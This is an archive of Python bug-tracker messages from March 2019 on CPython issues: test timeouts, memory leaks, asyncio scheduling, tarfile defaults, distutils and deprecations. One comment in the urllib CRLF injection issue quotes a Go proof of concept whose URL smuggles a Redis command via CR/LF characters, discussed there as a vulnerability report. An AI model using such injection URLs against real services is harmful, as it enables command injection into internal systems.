  File "/home/travis/build/python/cpython/Lib/multiprocessing/connection.py", line 920 in wait
  File "/home/travis/build/python/cpython/Lib/concurrent/futures/process.py", line 354 in _queue_management_worker
  File "/home/travis/build/python/cpython/Lib/threading.py", line 865 in run
  File "/home/travis/build/python/cpython/Lib/threading.py", line 917 in _bootstrap_inner
  File "/home/travis/build/python/cpython/Lib/threading.py", line 885 in _bootstrap
Current thread 0x00002b2b150439c0 (most recent call first):
  File "/home/travis/build/python/cpython/Lib/test/test_concurrent_futures.py", line 901 in _fail_on_deadlock
  File "/home/travis/build/python/cpython/Lib/test/test_concurrent_futures.py", line 962 in test_crash
  File "/home/travis/build/python/cpython/Lib/unittest/case.py", line 615 in run
  File "/home/travis/build/python/cpython/Lib/unittest/case.py", line 663 in __call__
  File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 122 in run
  File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 84 in __call__
  File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 122 in run
  File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 84 in __call__
  File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 122 in run
  File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 84 in __call__
  File "/home/travis/build/python/cpython/Lib/unittest/runner.py", line 176 in run
  File "/home/travis/build/python/cpython/Lib/test/support/__init__.py", line 1899 in _run_suite
  File "/home/travis/build/python/cpython/Lib/test/support/__init__.py", line 1995 in run_unittest
  File "/home/travis/build/python/cpython/Lib/test/test_concurrent_futures.py", line 1213 in test_main
  File "/home/travis/build/python/cpython/Lib/test/support/__init__.py", line 2127 in decorator
  File "/home/travis/build/python/cpython/Lib/test/libregrtest/runtest.py", line 182 in runtest_inner
  File "/home/travis/build/python/cpython/Lib/test/libregrtest/runtest.py", line 127 in runtest
  File "/home/travis/build/python/cpython/Lib/test/libregrtest/runtest_mp.py", line 68 in run_tests_worker
  File "/home/travis/build/python/cpython/Lib/test/libregrtest/main.py", line 600 in _main
  File "/home/travis/build/python/cpython/Lib/test/libregrtest/main.py", line 586 in main
  File "/home/travis/build/python/cpython/Lib/test/libregrtest/main.py", line 640 in main
  File "/home/travis/build/python/cpython/Lib/test/regrtest.py", line 46 in _main
  File "/home/travis/build/python/cpython/Lib/test/regrtest.py", line 50 in <module>
  File "/home/travis/build/python/cpython/Lib/runpy.py", line 85 in _run_code
  File "/home/travis/build/python/cpython/Lib/runpy.py", line 193 in _run_module_as_main
----------------------------------------------------------------------
Ran 160 tests in 224.305s
FAILED (failures=1)
test test_concurrent_futures failed

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35809>
_______________________________________

From report at bugs.python.org  Thu Mar 14 12:12:08 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 16:12:08 +0000
Subject: [issue36262] Coverity scan: Python/dtoa.c resource leak
In-Reply-To: <1552312407.35.0.685640329933.issue36262@roundup.psfhosted.org>
Message-ID: <1552579928.78.0.536436102883.issue36262@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 9818360ed94b39c4605951077b73ae798cddbfb9 by Victor Stinner in branch '3.7':
bpo-36262: Fix _Py_dg_strtod() memory leak (goto undfl) (GH-12276) (GH-12331)
https://github.com/python/cpython/commit/9818360ed94b39c4605951077b73ae798cddbfb9


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36262>
_______________________________________

From report at bugs.python.org  Thu Mar 14 12:13:09 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Thu, 14 Mar 2019 16:13:09 +0000
Subject: [issue36292] Coverity scan: Resource leaks in longobject.c
In-Reply-To: <1552576592.77.0.356319566545.issue36292@roundup.psfhosted.org>
Message-ID: <1552579989.64.0.520788086702.issue36292@roundup.psfhosted.org>


Charalampos Stratakis <cstratak at redhat.com> added the comment:

This code is unreachable. Will mark it as such.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36292>
_______________________________________

From report at bugs.python.org  Thu Mar 14 12:13:14 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Thu, 14 Mar 2019 16:13:14 +0000
Subject: [issue36292] Coverity scan: Resource leaks in longobject.c
In-Reply-To: <1552576592.77.0.356319566545.issue36292@roundup.psfhosted.org>
Message-ID: <1552579994.94.0.559661579056.issue36292@roundup.psfhosted.org>


Change by Charalampos Stratakis <cstratak at redhat.com>:


----------
versions:  -Python 2.7, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36292>
_______________________________________

From report at bugs.python.org  Thu Mar 14 12:20:04 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 16:20:04 +0000
Subject: [issue36262] Coverity scan: Python/dtoa.c resource leak
In-Reply-To: <1552312407.35.0.685640329933.issue36262@roundup.psfhosted.org>
Message-ID: <1552580404.28.0.895523241796.issue36262@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset b14057877fd897eaee7bc6626682fc6092b6bbd2 by Victor Stinner in branch '2.7':
bpo-36262: Fix _Py_dg_strtod() memory leak (goto undfl) (GH-12276) (GH-12332)
https://github.com/python/cpython/commit/b14057877fd897eaee7bc6626682fc6092b6bbd2


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36262>
_______________________________________

From report at bugs.python.org  Thu Mar 14 12:20:37 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 16:20:37 +0000
Subject: [issue36262] Coverity scan: Python/dtoa.c resource leak
In-Reply-To: <1552312407.35.0.685640329933.issue36262@roundup.psfhosted.org>
Message-ID: <1552580437.5.0.799907797467.issue36262@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks for the report Charalampos. I fixed dtoa.c in 2.7, 3.7 and master branches.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36262>
_______________________________________

From report at bugs.python.org  Thu Mar 14 12:33:29 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Thu, 14 Mar 2019 16:33:29 +0000
Subject: [issue18368] PyOS_StdioReadline() leaks memory when realloc() fails
In-Reply-To: <1373054563.49.0.685653845765.issue18368@psf.upfronthosting.co.za>
Message-ID: <1552581209.35.0.518161511918.issue18368@roundup.psfhosted.org>


Change by Charalampos Stratakis <cstratak at redhat.com>:


----------
pull_requests: +12305

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue18368>
_______________________________________

From report at bugs.python.org  Thu Mar 14 12:37:31 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 16:37:31 +0000
Subject: [issue34714] timeout in test_multiprocessing_spawn x86 Windows7 3.x
 buildbot
In-Reply-To: <1537211187.89.0.956365154283.issue34714@psf.upfronthosting.co.za>
Message-ID: <1552581451.63.0.733483832247.issue34714@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

We should extend the timeout of this buildbot worker.

More and more tests are failing randomly with the 15 min timeout:

https://buildbot.python.org/all/#/builders/58/builds/2060

0:19:49 [ 36/420/1] test_zipfile crashed (Exit code 1) -- running: test_multiprocessing_spawn (14 min 19 sec)
Timeout (0:15:00)!
Thread 0x00000a94 (most recent call first):
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\zipfile.py", line 603 in _init
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\zipfile.py", line 610 in compress
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\zipfile.py", line 1100 in write
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\test_zipfile.py", line 65 in make_test_archive
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\test_zipfile.py", line 257 in zip_readlines_test
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\test_zipfile.py", line 268 in test_readlines
...

0:20:33 [ 41/420/2] test_multiprocessing_spawn crashed (Exit code 1)
Timeout (0:15:00)!
Thread 0x00000b2c (most recent call first):
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\multiprocessing\connection.py", line 810 in _exhaustive_wait
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\multiprocessing\connection.py", line 878 in wait
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\multiprocessing\connection.py", line 330 in _poll
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\multiprocessing\connection.py", line 257 in poll
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\_test_multiprocessing.py", line 3261 in test_strings

----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34714>
_______________________________________

From report at bugs.python.org  Thu Mar 14 12:39:29 2019
From: report at bugs.python.org (Paul Moore)
Date: Thu, 14 Mar 2019 16:39:29 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1552581569.24.0.999326370279.issue36010@roundup.psfhosted.org>


Paul Moore <p.f.moore at gmail.com> added the comment:

It appears that the venv module did not get added to the 3.7.3 rc1 embedded distribution. Was that an oversight, or had I misunderstood what was needed for this to have happened?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Thu Mar 14 12:59:41 2019
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 14 Mar 2019 16:59:41 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1552582781.74.0.948965475004.issue36010@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

> It appears that the venv module did not get added to the 3.7.3 rc1 
> embedded distribution. Was that an oversight, or had I misunderstood 
> what was needed for this to have happened?

I think it was supposed to be added to the nuget package:

https://github.com/python/cpython/blob/v3.7.3rc1/PC/layout/support/options.py#L54

----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Thu Mar 14 12:59:52 2019
From: report at bugs.python.org (Assaf Dayan)
Date: Thu, 14 Mar 2019 16:59:52 +0000
Subject: [issue36295] Need to yield (sleep(0)) twice in asyncio
Message-ID: <1552582792.25.0.588312796028.issue36295@roundup.psfhosted.org>


New submission from Assaf Dayan <asfdyn at gmail.com>:

In asyncio, 'await asyncio.sleep(0)' is used to relinquish control and check for finished awaitables before continuing. 
In my example, an awaitable returns but is only handled if 'await asyncio.sleep(0)' is called twice (adjacently) and only then the returned 'await' statements are handled correctly.

The attached script generates tasks which do the following: compute for 0.8 seconds; do an async op for 0.5 seconds; and compute some more for 0.2 seconds.
Before generating each new task, we relinquish control so that existing pending tasks will resume operation, if their 'await' statements returned.
We simulate a business-case in which we give precedence to already-processing tasks over new ones.

When running the attached script, Task 1 goes async at d=0.8 and should be ready by d=1.3 (asyncio.sleep(0.5)). Because Task 2 started at d=0.8 (when T1 went async) it will relinquish control at d=1.6. By relinquishing control at d=1.6, Task 1 should resume, but it doesn't, unless asyncio.sleep(0) is called once more.
If asyncio.sleep(0) is not called again (as a fix), Task 1 will only resume at d=2.4, which is after Task 3 relinquished control.

----------
files: async_yield.py
messages: 337950
nosy: Assaf Dayan
priority: normal
severity: normal
status: open
title: Need to yield (sleep(0)) twice in asyncio
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48207/async_yield.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36295>
_______________________________________

From report at bugs.python.org  Thu Mar 14 13:07:27 2019
From: report at bugs.python.org (Diego Rojas)
Date: Thu, 14 Mar 2019 17:07:27 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552583247.33.0.0895209047178.issue34160@roundup.psfhosted.org>


Change by Diego Rojas <rojastorrado at gmail.com>:


----------
pull_requests: +12306

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Thu Mar 14 13:19:42 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Thu, 14 Mar 2019 17:19:42 +0000
Subject: [issue36268] Change default tar format to modern POSIX 2001 (pax) for
 better portability/interop, support and standards conformance
In-Reply-To: <1552356868.22.0.356957543994.issue36268@roundup.psfhosted.org>
Message-ID: <1552583982.2.0.343653130574.issue36268@roundup.psfhosted.org>


C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM> added the comment:

Sure, in work now. Its my first contribution to CPython, so bear with me. I presume this is too trivial to go in the What's New in Python article, but does merit a NEWS entry so users are aware of the change? Aside from changing [this line](https://github.com/python/cpython/blob/3fe7fa316f74ed630fbbcdf54564f15cda7cb045/Lib/tarfile.py#L108), updating the documentation to reflect the change, and possibly adding a NEWS entry, is there anything else that needs to be done? Thanks.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36268>
_______________________________________

From report at bugs.python.org  Thu Mar 14 13:21:58 2019
From: report at bugs.python.org (Paul Moore)
Date: Thu, 14 Mar 2019 17:21:58 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1552584118.55.0.686005232399.issue36010@roundup.psfhosted.org>


Paul Moore <p.f.moore at gmail.com> added the comment:

Ah, yes, you're right. I'd misremembered. Thanks.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Thu Mar 14 13:23:20 2019
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 14 Mar 2019 17:23:20 +0000
Subject: [issue36276] Python urllib CRLF injection vulnerability
In-Reply-To: <1552440411.97.0.7095697352.issue36276@roundup.psfhosted.org>
Message-ID: <1552584200.32.0.347606431808.issue36276@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

Yep, if it's the same problem then close this as a dupe and just poke the other issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36276>
_______________________________________

From report at bugs.python.org  Thu Mar 14 13:26:27 2019
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 14 Mar 2019 17:26:27 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1552584387.36.0.999013412229.issue33944@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

We could also have a new namespace package which is *just* for startup injection so it wasn't such a hack to tie into the codecs startup code.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar 14 13:27:34 2019
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 14 Mar 2019 17:27:34 +0000
Subject: [issue36287] Make ast.dump() not output optional default fields
In-Reply-To: <1552556885.52.0.772295389158.issue36287@roundup.psfhosted.org>
Message-ID: <1552584454.15.0.25491264411.issue36287@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

@eamanu tests are basically always necessary. :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36287>
_______________________________________

From report at bugs.python.org  Thu Mar 14 14:10:21 2019
From: report at bugs.python.org (jt)
Date: Thu, 14 Mar 2019 18:10:21 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1552587021.88.0.964854907602.issue36010@roundup.psfhosted.org>


jt <jonas at thiem.email> added the comment:

Yeah, having this in the NuGet version would be amazing!

I have been too specific with the ticket with my narrow mind set on a solution, but NuGet + complete standard library (including venv and pip) is what I now believe I actually should be using.

Not that I would mind an additional .zip only release, but now it's so trivial to automatically spill this out from an automated NuGet install that I really don't mind!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Thu Mar 14 14:43:05 2019
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 14 Mar 2019 18:43:05 +0000
Subject: [issue36295] Need to yield (sleep(0)) twice in asyncio
In-Reply-To: <1552582792.25.0.588312796028.issue36295@roundup.psfhosted.org>
Message-ID: <1552588985.1.0.400432081242.issue36295@roundup.psfhosted.org>


Change by Zachary Ware <zachary.ware at gmail.com>:


----------
components: +asyncio
nosy: +asvetlov, yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36295>
_______________________________________

From report at bugs.python.org  Thu Mar 14 19:15:29 2019
From: report at bugs.python.org (Harry Seeber)
Date: Thu, 14 Mar 2019 23:15:29 +0000
Subject: [issue36296] distutils.version.StrictVersion objects cannot be
 compared with distutils.version.LooseVersionobjects
Message-ID: <1552605329.57.0.55093575927.issue36296@roundup.psfhosted.org>


New submission from Harry Seeber <harry.seeber at gusto.com>:

The self.version used in Version._cmp is a List in LooseVersion's implementation, a Tuple in StrictVersion's implementation. Attempting to compare Strict & Loose versions results in a TypeError.

I'd like to PR a fix, but I'd like to know if I'm being stupid first :)

----------
components: Distutils
messages: 337957
nosy: Harry Seeber, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: distutils.version.StrictVersion objects cannot be compared with distutils.version.LooseVersionobjects
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36296>
_______________________________________

From report at bugs.python.org  Thu Mar 14 19:32:31 2019
From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=)
Date: Thu, 14 Mar 2019 23:32:31 +0000
Subject: [issue36296] distutils.version.StrictVersion objects cannot be
 compared with distutils.version.LooseVersionobjects
In-Reply-To: <1552605329.57.0.55093575927.issue36296@roundup.psfhosted.org>
Message-ID: <1552606351.95.0.905536751343.issue36296@roundup.psfhosted.org>


?ric Araujo <merwok at netwok.org> added the comment:

Hello!  Are you seeing this problem when building or installing some package, or are you using the classes directly?

If it?s the latter, I would recommand you to use https://pypi.org/project/packaging/ rather than distutils, which is not meant to be used as a generic library.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36296>
_______________________________________

From report at bugs.python.org  Thu Mar 14 21:01:57 2019
From: report at bugs.python.org (Jess)
Date: Fri, 15 Mar 2019 01:01:57 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1552611717.34.0.461078244146.issue36245@roundup.psfhosted.org>


Jess <jess at gmail.com> added the comment:

Alas, "IF NOT DEFINED PYTHON" isn't working - as it's even more possible to get into a state where PYTHON="" than it is for a bracket to be in the python name.

Thus, the system would think it declared where we would have created it into an actual path otherwise.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Thu Mar 14 21:14:39 2019
From: report at bugs.python.org (Jess)
Date: Fri, 15 Mar 2019 01:14:39 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1552612479.05.0.169637606207.issue36245@roundup.psfhosted.org>


Jess <jess at gmail.com> added the comment:

Looks like the brackets are fine even in the bracket case Steve mentioned.

@echo off

if NOT DEFINED ABCDEF (
  echo "all good"
)

if NOT DEFINED ABCDE (
  echo "all good2"
)

set ABCDE=

if NOT DEFINED ABCDE (
  echo "sadness"
)

if [%ABCDE%]==[] (
  echo "all good3"
)

set ABCDE=]

if [%ABCDE%] NEQ [] (
  echo "all good4"
)

set ABCDE="]"

if [%ABCDE%] NEQ [] (
  echo "all good5"
)


>demo.bat
"all good"
"sadness"
"all good3"
"all good4"
"all good5"

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Thu Mar 14 21:19:31 2019
From: report at bugs.python.org (ragdoll)
Date: Fri, 15 Mar 2019 01:19:31 +0000
Subject: [issue36276] Python urllib CRLF injection vulnerability
In-Reply-To: <1552440411.97.0.7095697352.issue36276@roundup.psfhosted.org>
Message-ID: <1552612771.29.0.0581591455328.issue36276@roundup.psfhosted.org>


ragdoll <ragdoll.guo at gmail.com> added the comment:

OK

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36276>
_______________________________________

From report at bugs.python.org  Thu Mar 14 21:25:42 2019
From: report at bugs.python.org (Jess)
Date: Fri, 15 Mar 2019 01:25:42 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1552613142.65.0.727264215665.issue36245@roundup.psfhosted.org>


Jess <jess at gmail.com> added the comment:

Nevermind, the hold over issue was from another bit.

Updated the change request.

----------
versions: +Python 2.7, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Thu Mar 14 23:46:19 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 15 Mar 2019 03:46:19 +0000
Subject: [issue23216] IDLE grep/find/replace source code needs docstrings
In-Reply-To: <1420881306.22.0.52075806524.issue23216@psf.upfronthosting.co.za>
Message-ID: <1552621579.38.0.258929077428.issue23216@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

There are several minor things to fix after this (and multiple issues), including the difference between find in search and replace.  It seems to me that is should be the same.  We will definitely need to test changes on both Windows and Linux.

The font color issue is essentially the one that resulted in white on white in the completions box.  We should always set both foreground and background to make sure consistent.  Another nit for followup.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23216>
_______________________________________

From report at bugs.python.org  Fri Mar 15 01:11:50 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 15 Mar 2019 05:11:50 +0000
Subject: [issue36286] Random failure in test_idle
In-Reply-To: <1552545245.76.0.0631461322093.issue36286@roundup.psfhosted.org>
Message-ID: <1552626710.65.0.960162369644.issue36286@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

I am guessing that test_idle and hence this test have been run over 500 days X 20 runs/day (10000 times) since merged.  This is the first report I have seen, though failures that get retested would be masked.  My guess is a sporadic timing delay such that the assertion is tested before the widget is updated.  Serhiy, does this make sense?

I have reproduced the failure 8 times by running the attached file, derived from test_configdialog, in IDLE.  Reps required ranged from about 1000 to 30000, plus I stopped once at nearly 100000 with no failure.  About half appeared to be a direct result.  All appeared to be an up/down font test, the first of the pair.

Tomorrow, I intend to run this more, including from command line, and then insert update() or update_idletasks() to see if either dependably suppress failure.  I am curious what happens on Linux.

----------
nosy: +cheryl.sabella
Added file: https://bugs.python.org/file48208/test_cdfail.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36286>
_______________________________________

From report at bugs.python.org  Fri Mar 15 01:32:43 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 15 Mar 2019 05:32:43 +0000
Subject: [issue36297] Remove unicode_internal codec
Message-ID: <1552627963.14.0.69589784608.issue36297@roundup.psfhosted.org>


New submission from Inada Naoki <songofacandy at gmail.com>:

unicode_internal codec is deprecated since Python 3.3.
It raises DeprecationWarning from 3.3.

>>> "hello".encode('unicode_internal')
__main__:1: DeprecationWarning: unicode_internal codec has been deprecated
b'h\x00\x00\x00e\x00\x00\x00l\x00\x00\x00l\x00\x00\x00o\x00\x00\x00'

May I remove it in 3.8?

----------
components: Unicode
messages: 337965
nosy: ezio.melotti, inada.naoki, vstinner
priority: normal
severity: normal
status: open
title: Remove unicode_internal codec
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36297>
_______________________________________

From report at bugs.python.org  Fri Mar 15 01:43:26 2019
From: report at bugs.python.org (mental)
Date: Fri, 15 Mar 2019 05:43:26 +0000
Subject: [issue36298] Lib/pyclbr.py crashes when the package spec cannot be
 determined by importlib
Message-ID: <1552628606.85.0.83377686134.issue36298@roundup.psfhosted.org>


New submission from mental <m3nta1 at yahoo.com>:

Hi folks! (apologies in advance if any of the code blocks come out irregular, this is my first issue)


I was just exploring the `Lib` modules out of curiosity and I discovered `pyclbr` a peculiar artifact from the older days of the Python standard library.

I noticed the module could be run directly and after attempting to run it withan invalid source target `python -m pyclbr somenonexistentfile` it raised ```
Traceback (most recent call last):
  File "/usr/lib/python3.7/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/usr/lib/python3.7/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/usr/lib/python3.7/pyclbr.py", line 405, in <module>
    _main()
  File "/usr/lib/python3.7/pyclbr.py", line 380, in _main
    tree = readmodule_ex(mod, path)
  File "/usr/lib/python3.7/pyclbr.py", line 116, in readmodule_ex
    return _readmodule(module, path or [])
  File "/usr/lib/python3.7/pyclbr.py", line 169, in _readmodule
    if spec.submodule_search_locations is not None:
AttributeError: 'NoneType' object has no attribute 'submodule_search_locations'```

I was running 3.7.2, although I assume this affects future versions and possibly some older versions. (I suspect the bug originates from importlib silently breaking backwards compatability)

I thought it strange for a script to exit so loudly so after reading through the source I believe the intended behavior meant for an invalid target is to raise an `ImportError` although I admit I'm not convinced this is still the best way to exit from erroneous input (or even if the module is still relevant in todays code?)

I believe this is a bug (but I would very much appreciate a second opinion) and I've identified it as a low priority easy fix, In which case I'd be more than happy to submit a fix :)

----------
messages: 337966
nosy: mental
priority: normal
severity: normal
status: open
title: Lib/pyclbr.py crashes when the package spec cannot be determined by importlib
type: crash
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36298>
_______________________________________

From report at bugs.python.org  Fri Mar 15 01:48:50 2019
From: report at bugs.python.org (mental)
Date: Fri, 15 Mar 2019 05:48:50 +0000
Subject: [issue36298] Lib/pyclbr.py crashes when the package spec cannot be
 determined by importlib
In-Reply-To: <1552628606.85.0.83377686134.issue36298@roundup.psfhosted.org>
Message-ID: <1552628930.24.0.868199922947.issue36298@roundup.psfhosted.org>


Change by mental <m3nta1 at yahoo.com>:


----------
type: crash -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36298>
_______________________________________

From report at bugs.python.org  Fri Mar 15 01:50:02 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 15 Mar 2019 05:50:02 +0000
Subject: [issue36299] Deprecate 'u' type in array module
Message-ID: <1552629002.67.0.658973531537.issue36299@roundup.psfhosted.org>


New submission from Inada Naoki <songofacandy at gmail.com>:

The doc says:

> 'u' will be removed together with the rest of the Py_UNICODE API.
> Deprecated since version 3.3, will be removed in version 4.0.
> https://docs.python.org/3/library/array.html

But DeprecationWarning is not raised yet.  Let's raise it.

* 3.8 -- PendingDeprecationWarning
* 3.9 -- DeprecationWarning
* 4.0 or 3.10 -- Remove it.

----------
components: Library (Lib)
messages: 337967
nosy: inada.naoki
priority: normal
severity: normal
status: open
title: Deprecate 'u' type in array module
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36299>
_______________________________________

From report at bugs.python.org  Fri Mar 15 02:03:18 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 15 Mar 2019 06:03:18 +0000
Subject: [issue36276] Python urllib CRLF injection vulnerability
In-Reply-To: <1552440411.97.0.7095697352.issue36276@roundup.psfhosted.org>
Message-ID: <1552629798.69.0.548668975477.issue36276@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

For reference an exact report on golang repo : https://github.com/golang/go/issues/30794 . This seemed to have been fixed in latest golang release 1.12 and commit https://github.com/golang/go/commit/829c5df58694b3345cb5ea41206783c8ccf5c3ca . The commit introduces a check for CTL characters and throws an error for URLs something similar to Python does for headers now at bf3e1c9b80e9.

func isCTL(r rune) bool {
	return r < ' ' || 0x7f <= r && r <= 0x9f
}

if strings.IndexFunc(ruri, isCTL) != -1 {
	return errors.New("net/http: can't write control character in Request.URL")
}

So below program used to work before go 1.12 setting a key on Redis but now it throws error : 

package main

import "fmt"
import "net/http"

func main() {
	resp, err := http.Get("http://127.0.0.1:6379?\r\nSET test failure12\r\n:8080/test/?test=a")
	fmt.Println(resp)
	fmt.Println(err)
}


?  go version
go version go1.12 darwin/amd64
?  go run urllib_vulnerability.go
<nil>
parse http://127.0.0.1:6379?
SET test failure12
:8080/test/?test=a: net/url: invalid control character in URL

Looking more into the commit there seemed to be a solution towards escaping characters with https://github.com/golang/go/issues/22907 . The fix seemed to have broke Google's internal tests [0] and hence reverted to have the above commit where only CTL characters were checked and raises an error. I think this is a tricky bug upon reading code reviews in the golang repo that has around 2-3 reports with a fix committed to be reverted later for a more conservative fix and the issue was reopened to target go 1.13 .

Thanks a lot for the report @ragdoll.guo

[0] https://go-review.googlesource.com/c/go/+/159157/2#message-39c6be13a192bf760f6318ac641b432a6ab8fdc8

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36276>
_______________________________________

From report at bugs.python.org  Fri Mar 15 02:13:52 2019
